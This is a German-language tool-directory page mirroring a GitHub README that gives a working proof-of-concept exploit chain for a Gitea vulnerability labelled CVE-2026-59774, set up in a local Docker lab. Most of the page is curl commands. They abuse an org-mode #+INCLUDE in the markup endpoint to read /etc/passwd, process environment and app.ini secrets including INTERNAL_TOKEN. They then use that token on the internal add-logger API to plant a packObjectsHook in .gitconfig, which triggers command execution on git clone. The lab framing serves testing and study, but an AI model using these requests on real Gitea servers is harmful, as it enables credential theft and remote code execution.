Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-59774_docker — CVE-2026-59774 | Kitploit
Tools/GitHubGitHub/flowerwitch/cve-2026-59774_docker
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLabs & Praxis
GitHubflowerwitch/cve-2026-59774_docker

CVE-2026-59774_docker

CVE-2026-59774

Repository anzeigen
11vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-59774_docker

1. Gitea herunterladen

git clone https://github.com/FlowerWitch/CVE-2026-59774_docker

cd ./CVE-2026-59774_docker

docker compose up -d

2. Initialisierung

Gitea aufrufen

http://localhost:3000/install

3. Repository erstellen

new repository ist standardmäßig öffentlich, keine weitere Konfiguration erforderlich

image

4. POC

curl -X POST "http://localhost:3000/{username}/{repo}/markup" \                       
  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'
image

5. RCE-Teil

  1. Zunächst wird über das Feld GITEA_CUSTOM in /proc/self/environ der Speicherort der gitea-Daten ermittelt.
curl -sX POST "http://localhost:3000/admin/poc/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep 'GITEA_CUSTOM='
image
  1. {GITEA_CUSTOM}/conf/app.ini lesen, um die Felder INTERNAL_TOKEN und APP_DATA_PATH zu erhalten
curl -sX POST "http://localhost:3000/{username}/{repo_name}/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH' 
image
  1. Hier habe ich die add-logger-Schnittstelle gefunden. Wenn das Mode dieser Schnittstelle auf File gesetzt ist, wird an die lokale Datei angehängt (falls das Ziel nicht existiert, wird das entsprechende Verzeichnis erstellt). Gleichzeitig wird, wenn das logger-Feld auf router gesetzt ist, bei der Ausführung ein Log-Eintrag ausgelöst, dessen Ausgabe deutlich besser ist als bei default (weil kein Zeilenumbruch erfolgt XD). Durch das beliebige Schreiben über Ersteres wird in der .gitconfig von gitea das Feld packObjectsHook hinzugefügt, um durch einen anonymen Clone die Befehlsausführung auszulösen.
curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "Logger": "router",
    "Writer": "pwnhook",
    "Mode": "file",
    "Config":{                                                             
      "filename": "{APP_DATA_PATH}/home/.gitconfig",
      "flags": "none",                                                          
      "prefix": "[uploadpack]\n        packObjectsHook = id > /tmp/pwned ;#", 
      "level": "Info",
      "rotate": false
    }
  }'
image
  1. Schließen Sie den Log-Handle, um zu vermeiden, dass nachfolgende Anfragen die weitere Konfiguration beeinträchtigen; verwenden Sie dazu die oben genannten logger und writer
curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  1. git clone löst Befehlsausführung aus
image

Beispiel

gg1

Hinweis

In go-org 1.9.1 enthält die Funktion parseInclude eine reguläre Filterregel includeFileRegexp; nur bei einer Übereinstimmung kann in die nachfolgenden Funktionen eingetreten werden.

func (d *Document) parseInclude(k Keyword) (int, Node) {
	resolve := func() Node {
		d.Log.Printf("Bad include %#v", k)
		return k
	}
	if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil {  # <--这里施加了 includeFileRegexp 过滤
		path, kind, lang := m[1], m[2], m[3]
		if !filepath.IsAbs(path) {
			path = filepath.Join(filepath.Dir(d.Path), path)
		}

includeFileRegexp Die Übereinstimmungsbedingungen lauten wie folgt

var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)

故如payload "#+INCLUDE: \"/etc/passwd\"\n" 则无法被正常匹配,构造须符合表达式,如:

"#+INCLUDE: \"/etc/passwd\" src 123\n"
Tool herunterladen